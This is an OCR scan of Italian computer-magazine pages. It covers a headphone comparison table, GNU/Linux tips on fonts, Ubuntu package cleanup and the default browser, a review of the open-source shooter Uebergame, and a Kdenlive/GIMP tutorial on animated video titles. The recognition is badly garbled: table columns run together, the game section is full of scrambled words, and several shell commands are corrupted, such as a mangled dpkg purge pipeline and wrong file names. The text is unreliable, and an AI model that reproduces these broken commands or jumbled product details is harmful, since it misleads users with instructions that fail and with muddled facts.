ni medi vengono riprodotti bene, 


JBL 


GRIP 200 
27 Euro 


A seconda di come aderiscono, ripro- 
ducono i bassi in misura variabile. | 


PANASONIC 
RP-HJE125 IP-80130 
10 Euro 10 Euro 
Peroffrire un suono di buona qualità, | Senza parole! Le iProtect sembrano 
le cuffie non devono essere perforza | gli Earpods diApple, ma il suono è 


iPROTECT AMAZON 
BASICS PREMIUM 1M26 


18 Euro 7 Euro 


Dopo aver avuto alcune buone espe- | Ahi,ahi, oltre alla struttura a spigolo 
costose. Le In-Ear Panasonic RP- più scadente. Anche i prezzo basso rienze con i prodotti Amazon Basics, | vivo che procura dolore alle orecchie, 


sacri alii *<ni | medi risultano un po' deboli, mentre 4 è ; queste In-Ear infastidiscono perun | ancheil suono metallico riprodotto 
dela i toni alti isutano un po'SibI | 1 vocisono leggermente ovattate. Li bene, anche se co- dI Euro, è eccessivo per queste | suonosottile e siblante. da queste cuffie, è insopportabile. 


‘Ottima, con microfono e regolatore | Offre microfonovivavoce, ma non la | Mancanosia microfono vivavoce che | Ottima, con microfono e regolatore | Offrono microfono vivavoce, ma man- | Offrono microfono vivavoce, ma man- 
per'l volume. regolazione del volume. regolatore del volume. per il volume. cal regolatore del volume. ca il regolatore del volume. 
è e Piuttosto pesanti: nel complesso co- | Illoro peso di 10 grammi le rende Pesano solo 10 grammi ma offrono î 3 
Queste In-Ear con auricolari a forma to ; ; - = | Leln-EardiAmazonpesanosolo 12 | Queste In-Earultraeconomiche pesa- 
I i inque le Grip 200 pesano 20 gradevolmente leggere. Offrono un | unisolamento scadente dai rumori P ? 
di pillola pesano solo 13 grammi. grammi, buon isolamento. estemi. grammi. no 14 grammi. 


Le C1002 sono di piccole dimensioni Aderiscono molto saldamente, ma il Senza alcuna complicazione, aderi- | Aderiscono confortevolmente, come Non sono le In-Ear più confortevoli. Hanno una forma spigolosa, ma of- 


e quasi impercettibili. comfort è soggettivo. scono bene alle orecchie. gli EarPods originali. frono un comfort decente. 
Sacchetto Nessun accessorio Nessun accessorio 


LANGSDOM 


Nessun accessorio Sacchetto custodia 


BEYERDYNAMIC JBL / UNDER ARMOUR | BEATS BY DR. DRE | JABRA JBL ANKER 


BYRON BT SPORT WIRELESS HR BEATS X HALO FUSION REFLECT CONTOUR SOUNDBUDS SPORT NB10 
95 Euro 190 Euro 122 Euro 60 Euro 92 Euro 22 Euro 


Le Byron esaltono ottimamente itoni | Ilsuono di queste In-Earsi presenta | Leminuscole BeatsXoffrono un suo- | Le Halo Fusion dotate di collare, of int a Il suono offerto da queste In-Ear 
alti, ma mancano di un po'di poten- | un po'cupo e noneccessivamente . | no caldo e bilanciato, con voci non | frono unsuono bilanciato, ma un po' He in NO deboli Un punto Bluetooth è scadente. Le Anker ripro- 
zaconi bassi profondi. Peril resto, | potente.Toni bassi puliti, voci ok. Do- | alterate. Dovrebbero però offrire debole; sono pecepibili lievi rumori DOO DU ducono un suono sottile e poco pre- 


offrono un suono bilanciato. tate di cardiofrequenzimetro. maggiori sfumature. difondo, DR interessante il cavo antes: | cio. 


Convivavoce e regolatore perl volu- | Ottima, con microfono vivavoce. Convivavoce e regolatore peril volu- | Ottima, grazie a microfono vivavoce | Ottima, grazie a microfono vivavoce | Ottima, grazie a microfono vivavoce e 
me, ma sono poco potenti. Manca regolatore del volume. me, ma sono poco potenti. eregolatore per il volume. e regolatore del volume. regolatore del volume. 


Pesano 12 grammi e offrono un'au- | Peso: 22grammi.Autonomia solo di | LeX pesanti 20 grammi, offrono 

tonomia di circa 7,5 ore. circa 5 ore. un'autonomia di quasi 8 ore. 

Minuscole e molto confortevoli, sono | Grazie al sistema Twist-Lock aderi- Conun pratico collare. Auricolari mol- | Confortevali sia alle orecchie che sul- { Queste In-Ear aderiscono saldamen- | Collare perla nuca e auricolari aderi- 
quasi impercettibili. scono in modo sicuro. to piccoli, ma accettabili. la nuca. te alle orecchie. scono bene. 

Borsa in similpelle Custodia di gomma Cavo per ricarica via porta USB Cavo per ricarica via porta USB Sacchetto per alimentatore 


AATÀI KATA ATA 


SENNHEISER TEUFEL BOSE AKG TEUFEL LIBRATONE 
PXG 550 MUTE BT QUIETCONTROL 30 N60 NG 3 MUTE QADAPT ON-EAR 
399 Euro 172 Euro 300 Euro 229 Euro 172 Euro 249 Euro 


Le Mute BT offrono toni alti limpidi e Le QC30 mettono in risalto numero- | Le N6ONC, dotate di cavo, offrono un - Tenuto conto delle dimensioni, le Li- 

Le PXC 550 convingono per un suono ia tomolesi icon pacs sesfumature della musica. Offrono | suonobilanciato etoni bassi e alti | LeTeufel riproducono voci calde eun | bratone offrono un sound molto po- 

limpido e molto pulito, esente da al- o tinto ta bassi buoni, ma | U"SUonO complessivamente caldo, | noninvadenti. Riproduzione gradevo- | po'ovattate, ma peril resto il suono è | tente, con voci un po' acute, ma il 

terazioni. non nerina! ammente rofondi ! contoni bassi abbastanza puliti e le anche indossando a lungo le cuf- | bilanciato e gradevole. suono è bilanciato. Il volume non è 
DI Ripon, ben dosati. fi. eccessivo 


Con vivavoce e regolatore del volume, | Convivavoce e regolatore del volume, | Ottima, con microfono vivavoce e re- | Ottima, grazie a microfono vivavoce | Mancanovivavoce e volume regola- | Convivavoce e regolatore del volume, 
comunque non elevato. comunque non elevato. golatore del volume. e regolatore perl volume. bile. Cuffie dotate di cavo. comunque non elevato. 

Pesano 230 grammi e offrono auto- | Pesanoben 259 grammi, ma offrono | Peso: 63 grammi.Autonomia di quasi | Peressere ad archetto, il peso di 177 | Pesanti ben 253 grammi! Autonomia | Pesano 212 grammi ed offrono auto- 
nomia per circa 26 ore. un'autonomia di 28 ore. 11ore. grammi è molto basso. di 32 ore. nomia per 12,5 0re. 


Le PXC 550 aderiscono bene, ma Aderiscono rigidamente, ma l'imbot- | Collare perla nuca ed auricolari of. { Aderiscono bene e sono confortevoli | LeTeufel sono estremamente confor- | Comprimono leggermente le orec- 
scaldano un po'le orecchie. titura è buona. frono un ottimo comfort. anche indossate a lungo. tevoli da indossare. chie. 
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Tips & Tricks 


E Trucchi e consigli per usare subito GNU/Linux come un esperto, trovare 
soluzioni rapide ai problemi e sfruttare appieno le potenzialità del sistema 


NUOVI FONT 
SU GNU/LINUX 


re più utenti si 
avvicinano al magico mondo 


di GNU/Linux e cercano di usare la 
propria : distribuzione in ogni 
ambito. L'uso più comune del PC è 
la scrittura e consultazione di 
documenti di ogni tipo. Quando ci 
si trova a scrivere una tesi, una 
relazione o a realizzare un biglietto 
di auguri, ad esempio, è molto 
importante creare un documento 
graficamente accattivante, chiaro 
e ben strutturato. Tuttavia, non 
sempre i font di sistema sono 
sufficienti a soddisfare le esigenze 
di ogni utente. Nasce dunque la 
necessità di installare sul sistema 
GNU/Linux nuovi font che 
soddisfino le richieste’ più 
disparate. Come fare? Prima di 
tutto è necessario trovare uno o 
più font accattivanti. Esistono 
numerosi siti Web che offrono font 
gratuiti: 1001fonts.com e dafont. 
com sono solo alcuni. Basterà 


*Documento senza titolo 1 - gedit 


I Fig. 1 © Ecco un font non di sistema installato 
dall'utente 


36%: Linux Magazine 


| giusta 


inserire la chiave di ricerca “font 
gratuiti” su Google per accedere 
ad infinite risorse. Una volta 
scaricato il font, generalmente, ci 
troveremo davanti a un file zip. 
Estraiamone il contenuto (un file 
.ttf o .otf. Non vi è un'effettiva 
differenza fra i due formati Open 
Type o True Type: sono egualmente 
usabili. Il passo successivo è 
decidere se rendere disponibile il 
nuovo font per tutti gli utenti del 
sistema o solo per il nostro 
account. L’installazione per tutti gli 
utenti è molto semplice: digitiamo 
da terminale sudo cp /home/ 
utente/percorso_download/ 
nomefont.itf —/usr/share/fonts/ 
nomefont.ttf per copiare il file nella 
directory. Infine, per 
informare il sistema della presenza 
di un nuovo font usiamo il comando 
sudo fc-cache -fv. E se volessimo 
far sì che il font sia disponibile solo 
per uno specifico utente? 
Dobbiamo creare una cartella 
personalizzata all’interno della 
nostra home. Da terminale, 
digitiamo cd - seguito da mkdir ./ 
fonts che ci permette di creare una 
directory dedicata ai font. Copiamo 
quindi il file .ttf al suo interno con il 
comando cp /home/utente/ 
percorso_download/nomefont.ttf 
»/:fonts/nomefont.ttf. Come visto 
in. precedenza, informiamo il 
sistema con il comando fc-cache 
-fv. Al termine apriamo LibreOffice 
o qualsiasi altro editor di testo per 
verificare che il font sia stato 
correttamente installato. Il font 
dovrebbe apparire nella lista di 
quelli selezionabili ed essere 
usabile in qualsiasi contesto. 


RIPULIAMO UBUNTU 


3, L'installazione di numerosi 
€ pacchetti software nel 
tempo porta a “sporcare” il 
sistema. Tanti residui di 
configurazione, pacchetti 
installati, dipendenze trasportate 
dai software ormai rimossi 
riempiono il nostro sistema di 
inutile spazzatura. Questa 
cianfrusaglia porta alla lunga un 
appesantimento del sistema non 
tanto per quanto concerne la 
velocità di avvio o di esecuzione 
dei software quanto della memoria 
sul disco fisso. Spesso, a distanza 
di qualche anno ci si ritrova anche 
con qualche GB in meno sul disco 
che, potendoli sfruttare, tutto 
sommato fanno sempre comodo. 
Se la distro in uso è Ubuntu, si 
possono attuare numerosi 
procedimenti di pulizia. Fra questi 
sicuramente uno dei più intuitivi è 
la rimozione dei pacchetti ormai 
inutilizzati. Per scoprire quali sono 
i software installati avviamo il 
terminale e lanciamo il comando 
dpkg --get-selections. Grazie a 
questa lista possiamo scegliere 
quali software rimuovere ma 
facciamo sempre attenzione a 
rimuovere ciò che conosciamo o 
ci troveremo a dover sistemare 
disastri non voluti. La rimozione 
dei pacchetti non va attuata 
solamente con il “classico” apt- 
get remove nomepacchetto: se 
desideriamo rimuovere anche 
ogni file di configurazione di uno 
specifico software dobbiamo 
infatti usare apt-get purge 
nomepacchetto. Spesso, però, 
questa operazione non viene 


cups 
cups-browsed 
cups-core-drivers 
cups-daemon 

cups-filters 

hplip 

imagemagick 
indicator-printers 
libaacs0:amd64 
libapr1:amd64 
libart-2.0-2:amd64 
libbdplus0:amd64 
libclucene-contribsiv5:amd64 
libclucene-core1v5:amd64 
libcrystalhd3:amd64 
libexo-1-0:amd64 
libexo-common 
libflac++6v5:amd64 
libgarcon-1-0 
libgarcon-common 
libgsmi:amd64 

libid2ta0n 


N Fig. 2 Il comando che ci permette di fare un po' di pulizia in Ubuntu 


attuata e nel sistema risiedono 
numerose configurazioni 
inutilizzate di numerosi pacchetti 
software. Come facciamo a 
ricordare il nome di ogni 
pacchetto? Non è necessario! Il 
comando dpkg -l | egrep "Arc" | 
cut -d'' -f8 ci mostrerà la lista dei 
pacchetti che una volta disinstallati 
ha lasciato orfani i file di 
configurazione. Per eliminare tutti 


questi file basta anteporre il 
comando dpkg --purge al 
comando appena visto 


inserendolo fra virgolette, così: 
sudo dpkg --purge “dpkg -l | egrep 
"Arc" | cut -d DI -Îf3. 

Inoltre, quando installiamo un 
software tramite apt-get viene 
scaricato il file .deb corrispondente 
al pacchetto desiderato e viene 
memorizzato nella cache così da 
rendere più rapida un’eventuale 
re-installazione senza dover 
effettuare nuovamente il 
download. Se vogliamo rimuoverli 
così da avere un po’ di spazio in 
più usiamo apt-get autoclean o 
apt-get clean. Il secondo effettua 
una pulizia più profonda andando 
a rimuovere non solo i file .deb 
dei pacchetti ormai disinstallati, 
ma anche quelli ancora presenti 
sul sistema. Ulteriori risorse 
possono essere liberate anche 
eliminando la cache del browser 
generalmente salvata nella 
directory /cache presente nella 
home utente rimuovendone i file 
o eliminandoli tramite la funzione 


specifica offerta dal browser. E, 
infine, rimuovendo il contenuto 
della cartella /tmp della home. 
Finalmente qualche GB in più! 


IL BROWSER 
PREDEFINITO 


eg, A chiunque, qualsiasi sia il 
SO sistema operativo preso in 
esame, che sia GNU/Linux o meno, 
sarà capitato di dover accettare la 
classica richiesta di impostare un 
browser. come predefinito. È 
normale prassi che qualsiasi 
browser appena installato effettui 
tale domanda per far sì che l’utente 
sfrutti appieno le potenzialità di 
quel software e lo preferisca ad 
altri. Tuttavia, capita di tanto in 
tanto che il sistema non tenga 


Editor di testo 


memoria di questa impostazione e 
richieda nuovamente, e a volte 
anche molto frequentemente, di 
impostare il browser come 
predefinito. Possiamo risolvere 
questo problema e’far sì che il 
sistema memorizzi la nostra scelta 
una volta per tutte grazie ad un 
semplice comando da terminale. 
Dopo aver “aperto quest'ultimo, 
basta digitare il comando sudo 
update-alternatives --config 
x-www-browser. Appare, dunque, 
una lista dei browser installati nel 
sistema e ci viene chiesto di 
inserire un numero per scegliere 
quale di questi desideriamo usare 
come predefinito: accanto a ogni 
browser è presente un numero 
corrispondente, basterà inserirlo, 
premere Invio e il sistema saprà a 
quale software fare riferimento da 
ora in poi. 

Se non ne siamo ancora convinti 
proviamo a richiedere al sistema di 
lanciare il browser predefinito con 
il comando gnome-open http:// 
www.indirizzodesiderato.it se è 
in uso l'ambiente desktop Gnome 
o, in alternativa, xdg-open http:// 
www.indirizzodesiderato.it se 
stiamo utilizzando una delle ultime 
release di Ubuntu. 

Questo comando richiama. il 
software che il sistema considera 
come predefinito per il file per 
aprire una qualsiasi pagina Web. 


main.cf (-/Scrivania)- gedit 
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Mi Fig. 3 Il comando xdg-open ci permette di avviare da terminale una qualsiasi pagina Web 


eee. 
0086 


Linux Magazine HH 37 


P 


» 


Licenza: Licenza: MIT e CCO 
Sito web: http://duion.com/ 


N iSciata la prima, sorga devieridhate 
sa * dicembre” 2014, sviluppato e, 


E pubblicato dalla piccola Duion (che. 
# di fatto conta uf solo Sviluppatore!) ebasato | 
«Sul motore di gioco Open”, Source Torque. 


3D° (http://torque3d.org) sviluppato dalla », 


Soffwafe. house Americana GarageGames - 


(Wwww.garagegames,con), Uebérgame è 
un gioco su base volontaria e dal sapore 
sperimentale in continuo ‘ progresso. D) 
fatto, uno sparatutto in prima personà (FPS 
- First Person Shooter) Open Source con 
capacità di gioco single-player (contro i BOT) 
e multiplayer, utilizzando dei server messi a 


disposizione dalla stessa Duion o creati ad- 


hoc e visibili in rete dai'vari giocatori in ogni 
parte del mondo oppure su rete locale per 


‘favvivare i LAN Party. . 


NON UN VERO SETUP 


È possibile procedere all’installazione del 
gioco seguendo due strade. La prima, 
utilizzando la piattaforma di contenuti digi- 
tali Steam (http:/store.steampowered.com). Per 


--coloro che hanno il client Steam. già, 


installato è sufficiente digitare Uebergame 
nell'apposito campo di ricerca per essere 
rediretti alla pagina del gioco e procedere 
all’installazione  (cliecando sul. pulsante 
verde Play Game): attendiamo il termine del 
download, quindi iniziamo a giocare. Ma non 
tutti vogliono installare, o hanno già installato, 
il client Steam e allora per costoro è possibile — 
raggiungere il sito Web di Duion e cliccare 


È 


su 
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Fig. 1 Effetti 3D dinamici per il menu generale di Uebergame Sad 


sul menu Uebergame. Dal pannello di 


sinistra, cliechiamo su Downloads, quindi’ 


scarichiamo l’ultima versione rilasciata che 
al momento di scrivere è associata al file 
Uebergame-1.0.9.0.zip (circa 300 MB). 
Salviamo il file inuna directory e procediamo 
alla decompressione con il comando unzip 
Uebergame-1.0.9.0.zip che creerà la 
cartella Uebergame-1.0.9.0 con tutto il 
necessario per eseguire il gioco. Nel caso 
di una distribuzione GNU/Linux ci basta 
lanciare l'eseguibile Uebergame, 'dopo 
‘aver assegnato i permessi di esecuzione 
» (con il comando chmod +x AUebergame). 
Il gioco, una volta lanciato, ‘mostrerà un 


del gioco. Qualora si riscontrasse qualche « 


menu generale (Fig. 1), sicuramente da 
migliorare, e creerà una cartella di nome My 


Games in'/home/nome_ utente all’interno*.. 


della quale vi saranno i file'di configurazione 


$ . 
instabilità e/o malfunzionamento, è possibile 


* 


scaricare da GitHub l’ultima versione in 
sviluppo, proprio come riportato, nel sito 
Web ufficiale del gioco. * lug 


w 


L'AMBIENTE DI GIOCO 


Il giocoin sé non offre nulla di nuovo dal punto 
di' vistadel gameplay e nòn ha nemmeno 


‘un target specifico se non, quello di vincere 


"de 
7 


Messa a punto di Uebergame 


Settiamo al meglio grafica, personaggio e comandi di gioco 


LA GRAFICA 
0 1 Dal menu generale, clicchia-:. 
‘mo sul pulsante Options.” $ 
Verrà aperta una pop-up.con diversi - 
tab. Nel primo, Graphics, regoleremo.. 
le principali funzioni grafiche il cui: 233 
significato è è abbastanza esplitativo. Ani 
‘ tale contesto la massima qualità» Zia 
texture (struttura) e della aa 
{mesh} è Ueber.. a! t ca ua 


De 


. con la propria squadra. oppure i in ‘solitaria in» ha” visto. l'aggiunta” di 4 Siloos e mappe. é la. "dei Gasenziesoni militi sul quali = te . 
funzione della modalità di gioco scelta tra ‘nuova modalità. di gioco | Retriéve the ‘Flag essere £ situatio dei'carigalori ghe permettono ‘ = a 
Deathmatch, Paintball -Deathmatch, "nella ‘quale oghi 'squadia parte: dalla ‘propria - di.fafe Tiserva di munizioni e/o il simbolo della aa 
Taem Deathmatch + e * Paintball n° " base:coh Lobiettivo distrovate» suna ‘bandiera “croce: rassa “che “migliora” il nostre=stato di... 
Deathmatch. Come è facile'intuire, le prime ‘ posizioriata i in Un punto: casuale della mappa «salute); Invpiù ad ogni avversario  fraggato (bot: 

‘{. due modalità sono in ‘solitaria, tutti-contro tutti | «e portarla” nel’ puntò di cattura» Durante a 0 reale che sia) 8-possibile-prendere l lemmi so 
e vince il giocatore. che:rimane solo oppure. gioco sono pressri dei “bonus”, in ii * Ship hallasciatò sul campo. 
» che al termine del tempo (di.default: 15 minuti) e PIE, ? i SI 
x ‘presénta it più alto punteggio: Le altre-due” "A 


_. modalità sono identiche. alle. prime” solo che. > REQUI SITI M | N | MI 


E I le risorse dipendono dal motore grafico 


; .Spendiamo una parola per il paintball che. 
consiste, in_un'arena feale, nell’ eliminare Ù Il motore di gioco Torque 3D è in grado HD6000) con a bordo 1 GB di RAM vi- 
Giocatore EVS: ldeXee)e:-slee)eXee]}}:\sieex' IM di mettere a dura prova le schede gra- deo e accelerazione 3D attivata in har- 
fugile caritato con palline di gelatina. A (EN fiche poiché permette di abilitare un dware previo uso degli appositi driver 


riguardo in questa stessa rubrica’ ci Siamo già. certo numero e tipo di caratteristiche proprietari. Necessari anche una CPU 
occupati. in passaté di questo tipo di giochi » ie grafiche computazionalmente pesan- dual core AMD o Intel da 2 GHz, 4 GB 
«Coloro che, volessero ‘provarli ricordiamo” “MISTO gli effetti particellari (pioggia, di RAM e circa 1 GB di spazio su disco. 
* Digital Paint Paîntball È (http/digitalpaînt => neve, tempeste di sabbia] oppure le Qualora si vogliano utilizzare i server 


È org)) è Digital Paintball 3 (http/paintballgame. fg ombre degli oggetti presenti. Per que- in Rete è necessaria una connessione 
“com/. Poiché Uebergame . e Eriiziuicii casi sto motivo se vogliamo spingere un po" xDSL senza limitazioni di tempo e/o vo- 
i sviluppato, ad ogni rilascio.v Vengono aggiunte sul realismo grafico ilminimo necessa- lumi di traffico o quanto meno una rete 
nuòve mappe e/o nuove funzionalità. =, rio è una scheda grafica Nvidia GT610 LAN qualora si vogliano organizzare 
“» Ad esempio, al momento [eresse grentexzaa (o equivalente AMD/ATI della serie tornei in locale. 


stata rilasciata la versione 1.0.9.0 là quale. - 
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Lila ‘ , 
P'URPIRE | 


= 
Va ® 


4 
iù 


Alla scoperta dei comandi principali 


Prima di iniziare una vera partita, facciamo un po’ di pratica 


STE TORRIGRTO 
gr ma 


IN CAMPAGNA 
02 Con le diverse mappe è 

‘ possibile scegliere iltempo 
atmosferico nonché l'orario: ad.esem- - 
pio, mattina piovosa; pomeriggio'so- n 
«leggiato, tempesta’ di sabbia, sera con » 
nebbia e notte. Effettuata la scelta, 


DIE ROOT eo 
dae ir na a “ 


è NEL DESERTO 
03 ‘L'interfaccia grafica è sem- 
plice e intuitiva. In alto a 
destra la situazione del punteggio e 
-del tempodi gioco-In alto a sinistra.i 
componenti delle squadre, In basso 


0 1 Dal parata clicchiamo” 
‘su Host. Verrà aperta una . 

‘ pop- up [visibile in 1 figura) nella quale, i in: 

_ Mission Type selezioneremo la modalità. 

di giocò. Infunzionedì ‘questa “scelta sul’. 


"pannello di Sinistra vedremo variareil © - 


‘numero di mappe. Spuntiamo la casella” 
Multiplayer èin Bot Count scegliamo il 


numero di BOT, ad' esempio 3 05. 4% 


de 
La 


SERVER ESTERNI 

Con la rete attiva, dal menu 

generale, clicchiamo su Join: 
verranno elencati i server trovati con as- 
sociata modalità di gioco, mappa e numero 
di giocatori. Scegliamo una mappa di gioco 
con associata modalità. Quindi, clicchiamo 
su Join Server: verremo invitati a scegliere 


armi e appartenenza ad una squadra in caso . 


di scelta di mappe che prevedono i team. 


clicchiamo su Load Level. Dopo qual- 
‘ che secondo saremo proiettati nella mi 


nfappatdi gioco” scelto. CR 


2 


È il momento di giocare on-line! 


In LAN o tramite i server nella Grande Rete con avversari di tutto il mondo 


ERVER LOCALE 

All'interno della cartella Ue- 

bergame-1.0.9.0 è presente lo 
script Uebergame-dedicated.sh il quale, 
se lanciato, permette di creare un'istanza 


di un server dedicato. Nel file di configura- + 


zione Uebergame-1.0.9.0/scripts/server/ 


xdlefault.cs, con parametri di facile lettura, è 


possibile modificare file e tipo di missione, 
impostare una password, ecc. * 


a sinistra il nostro livello di salute e 
a destra lo stato delle armi.{numero 
di caricatori rimasti e tipo di armi a 


È disposizione]. 


COLLEGAMENTO 
Seguendo la stessa dinamica 
del primo passo, ora potremo 


vedere oltre ai server di Rete, qualora fos- 


simo collegati ad Internet, anche il nostro .. 


‘Server.locale a cui collegarci. In caso di, 


instabilità e/o malfunzionamenti è possi- 
bile scaricare l'ultima.versione di sviluppo 
da www.edmaster.it/url/6884 cliccando su 
Clone or download. d 
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Testi straordinari 
per I tuoi filmati 


HI Utilizziamo Kdenlive e GIMP per trasformare un banale 
titolo di testo in un qualcosa di esaltante, animato e originale 


er entrare nell'immaginario del proprio pubblico, 

un film deve farsi riconoscere immediatamente: se 

rimane anonimo, chi lo guarderà se ne dimenticherà 
dopo soli pochi minuti. E per i video on-line, come quelli 
che pubblichiamo su YouTube, è ancora più vero: sul 
Web la “concorrenza” è talmente ampia che se non ci si 
fa riconoscere si rischia di non riuscire mai a farsi notare 
rispetto a tutti gli altri autori. Ogni video può lasciare il 
segno in molti modi: una scena epica, un buon abbinamento 
tra le immagini e la colonna sonora, scelte di montaggio 
imprevedibili. Ed un titolo. Ogni filmato ha un titolo, e prima 
o poi bisogna farlo apparire nel video. E la tecnica utilizzata 
per realizzarlo dice molto sullo stile che vogliamo imprimere 
al filmato. Esistono diversi tipologie di titoli che si possono 
realizzare: anche nei film che vediamo al cinema si passa da 
titoli estremamente elaborati ad altri che sembrano scritti, ad 
esempio, col pennarello su un foglio di carta piazzato davanti 
alla cinepresa. Per molti filmati la soluzione è semplice: si 


scrive un testo, anche con l’editor Titoli di Kdenlive. Due 
righe di testo, due o tre colori, uno sfondo monocromatico. 
Certo, se si vuole realizzare un titolo “di testa” come quello 
di Austin Powers, ad esempio, si tratta, alla fine, di un vero 
e proprio film dentro il film. Una buona via di mezzo, che 
richiede poco tempo ma offre comunque un buon risultato, 
è quella usata nel capolavoro di Sergio Leone Il buono, il 
brutto, il cattivo: unire ai testi dei disegni. Il titolo non viene 
semplicemente impresso sopra al fotogramma, ma si prova 
a trasformare il filmato in un disegno. E, ovviamente, si 
possono anche animare i testi. È proprio questa l’idea che 
vogliamo presentare: un titolo semplice ma accattivante e lo 
realizzeremo partendo ovviamente da una clip girata con la 
videocamera. Questa clip dovrà essere interrotta ad un certo 
punto per far apparire il titolo. Nel momento in cui l'azione 
si interromperà, preleveremo il fotogramma e cominceremo 
a modificarlo con GIMP, il programma di fotoritocco Open 
Source più potente in circolazione. 


Qual è il giusto momento? 


Scegliamo il fotogramma in cui far apparire il titolo 


Modifica Project Tool Cp. Timeline Monitor | View Impostazioni | Aiuto 
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CON LE FORBICI 

Cominciamo inserendo nella traccia Video1 la 
clip video originale, sulla quale deve apparire 
il titolo del filmato. La clip va tagliata, con lo strumento 
Forbici, nel momento esatto in cui il titolo deve apparire. 


Modifica Project: Tool Cip Timeline | Monitor View | Impostazioni — Aiuto 
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IL FOTOGRAMMA 

Spostiamo la seconda parte della clip, appena tagliata, 
per creare uno spazio e posizioniamoci sull’ultimo foto- 
gramma della prima parte della clip. Quindi, clicchiamo sul menu 
che si trova sotto al Monitor progetto e scegliamo Extract frame. 
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Questo programma ci servirà per trasformare il fotogramma 
in un disegno a due sfumature di luminosità. In poche parole, 
otterremo un disegno di colore nero su sfondo bianco. E lo faremo 
automaticamente, utilizzando lo strumento Soglia, che si occupa 
proprio di tradurre una fotografia in un'immagine con due soli 
colori a seconda della soglia che impostiamo. Ovviamente, visto 
che le immagini che riprendiamo con la videocamera non hanno 
un contrasto altissimo (altrimenti i colori sono inguardabili), avremo 
bisogno di ripetere l'operazione di soglia più volte, ma potremo poi 
facilmente unire tutti i vari disegni sovrapponendoli come preferiamo. 
Ottenuto il risultato sperato, sarà possibile colorare questo disegno 
bicromatico con un gradiente di colore, per renderlo ovviamente 
più gradevole. A questo punto potremo aggiungere il testo, meglio 
se dividendolo su più livelli. Esportando separatamente i vari livelli, 
infatti, potremo poi controllare la loro posizione con Kdenlive, 
facendo apparire lo sfondo con una dissolvenza e facendo entrare 
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IL CONTRASTO 

Apriamo il fotogramma estratto con GIMP: per prima cosa 
dobbiamo migliorare il suo contrasto. Possiamo farlo uti- 
lizzando ilmenu Colori/Curve. Basta alzare le alte luci ed abbassare 
le ombre per aumentare un po' il contrasto. 
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LA SILHOUETTE 

Lavorando sulla copia, scegliamo il menu Colori/Soglia. 
>’ Qui dobbiamo spostare il selettore del nero fino ad ottene- 

re una buona silhouette della scena. Il funzionamento è semplice: tutto 

ciò che inseriamo nella selezione sarà bianco, il resto nero. 
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WI Fig. 1- Il fotogramma da cui partiamo 
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DUPLICAZIONE 
‘|. Questasarà l'immagine di partenza: clicchiamo sul livello 
col tasto destro del mouse e scegliamo la voce Duplica 
livello. Poi, rendiamo invisibile il livello originale cliccando sul pul- 
sante a forma di occhio a fianco del suo nome. 
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è UN’ALTRASOGLIA " 

È probabile che con unaunica “soglia” non riusciremo ad 
avere una buona silhouette. Basta duplicare di nuovo il 
livello originale ed applicare di nuovo l’effetto Colori/Soglia, e sce- 
gliere una soglia tale da rendere visibile un'area che prima non lo era. 


Pa 


nella scena le varie porzioni di testo con una animazione, per evitare 
che il testo appaia troppo immobile. 
Ecco un video d'esempio: www.edmaster.it/url/6890. 


I Fig. 2 - L'immagine di sfondo del nostro nuovo titolo prodotta 
partendo dal fotogramma 


Dallo sfondo al titolo 


Aggiungiamo un gradiente e il testo 


CANCELLIAMO 

Rifinire le immagini è semplice: basta utilizzare 

la gomma, scegliendo un pennello che abbia bor- 
di netti. Bisogna cancellare le zone troppo bianche o troppo 
nere, per far apparire ciò che si trova sotto (gli altri livelli di 
“soglie” che abbiamo realizzato). 


BRL 


LI 


nonni — SE 


ARTENA 


UN GRADIENTE 

Aggiungiamo un nuovo livello, cliccando sul pul- 

sante Nuovo livello. Il livello va posizionato sot- 
to al livello in bianco e nero. Poi, prendiamo lo strumento 
Gradiente e scegliamo un colore di primo piano e di sfondo 
che ci piacciono (per esempio arancio e blu). 


I FONT PER IL TESTO 


Quando si prepara un titolo, uno dei fattori chiave da con- 


siderare è il font, cioè il carattere da utilizzare. In genere, 


conviene puntare su un font leggibili, qualcosa di non trop- 
po complicato. Ad esempio, i classici Arial, Courier New, Ti- 
mes New Roman, e Verdana. In ambito del Software Libero 
ed Open Source uno dei font più gradevoli è Ubuntu, così 
come Oxygen. Ma si può anche puntare su caratteri più ela- 
borati, basta trovare qualcosa di adatto al tema del nostro 
filmato. Una buona libreria, contenente molti font Liberi è 
https://fontlibrary.org che ci permette di vedere un'anteprima 
dei vari caratteri: ce ne sono alcuni che simulano la scrit- 
tura a mano in corsivo, altri che ricordano gli schermi dei 
tabelloni segnaletici; praticamente, per tutti i gusti! 


Mlb Modica SneZiona: Vihunhiz Immagina Live Colui Saiano Pili: Podsundy Seni: Fineasra Anto 


» 


Piidabi dii rrirralisataprsabitziorssi Mitpirtrta torre ilari ritto libbirorrrelidirrani dpi itadlidio ritor Pimrse 


[ezio 


LOLLI 


UNA FUSIONE 

Se abbiamo più livelli di “soglie”, dobbiamo 

unirli cliccando sul livello superiore e sceglien- 
do Fondi in basso. Il livello in bianco e nero che rimane 
deve avere una modalità di tipo Differenza. Vedremo che i 
colori si invertono. 
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ECCO IL TITOLO 

Tracciando una linea sul livello si può colorare 

con il gradiente, e si vedrà apparire l'immagine 
a colori contrapposti. Aggiungiamo il titolo a pezzi, un paio 
di parole alla volta, con lo strumento Testo, scegliendo dei 
colori che si vedano bene. 
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Diamo un po’ di movimento 


Utilizziamo Kdenlive per animare la comparsa dei vari elementi del titolo 
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ESPORTARE IN PNG 

Esportiamo l'immagine in PNG per tre volte: prima solo 
lo sfondo, poi ciascuno dei testi alla volta. Tornando in 
Kdenlive, inseriamo il fotogramma estratto tra le due clip, nella 
traccia Video1. Aggiungiamo al progetto le altre clip. 
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OPACITÀ DA 0 A 100 

Il primo e l'ultimo fotogramma devono avere opacità 0, 
gli altri due “interni” 100. Inseriamo il primo testo nella 
traccia Video3, con una transizione Composito. Poco dopo l'inizio 
della clip, aggiungiamo un fotogramma chiave. 
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ILTUO PRODOTTO OMEOPATICOTEA 
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PER OGNI CLIP 
Ripetiamo lo stesso meccanismo per tutte le clip di 
testo che abbiamo: ricordiamo, però, che per cia- 
scuna clip la transizione Composito deve essere riferita alla 
traccia Video2. Quella è infatti la traccia dello sfondo che 
esegue la sua dissolvenza. 
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LA COMPOSIZIONE 
Aggiungiamo nella traccia Video2, esattamente sopra 
al fotogramma, lo sfondo prodotto con GIMP. Inseriamo 
una transizione di tipo Composito. Aggiungiamo fotogrammi chia- 
ve poco dopo l’inizio e poco prima la fine della clip. 


no, in modo che non sia visibile. Per i prossimi testi, ag- 
